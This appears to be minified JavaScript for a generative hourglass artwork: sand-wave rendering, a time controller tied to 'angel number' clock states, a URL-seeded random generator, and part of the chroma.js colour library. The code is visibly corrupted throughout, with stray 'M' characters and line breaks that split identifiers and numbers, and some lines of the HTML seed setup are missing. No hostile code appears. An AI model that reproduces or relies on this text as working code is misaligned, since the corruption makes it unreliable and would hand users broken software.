.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
